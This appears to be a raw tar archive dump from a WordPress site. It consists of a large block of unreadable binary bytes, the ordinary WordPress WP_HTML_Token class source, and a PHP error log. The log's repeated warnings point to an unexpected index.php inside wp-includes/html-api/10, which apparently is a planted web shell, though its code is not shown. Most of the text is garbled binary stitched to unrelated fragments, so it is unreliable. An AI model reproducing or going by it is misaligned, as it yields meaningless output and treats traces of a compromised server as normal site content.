�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���Vclass-wp-html-token.php.tar000064400000012000151440300030011632 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
error_log000064400000105265151440300030006460 0ustar00[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
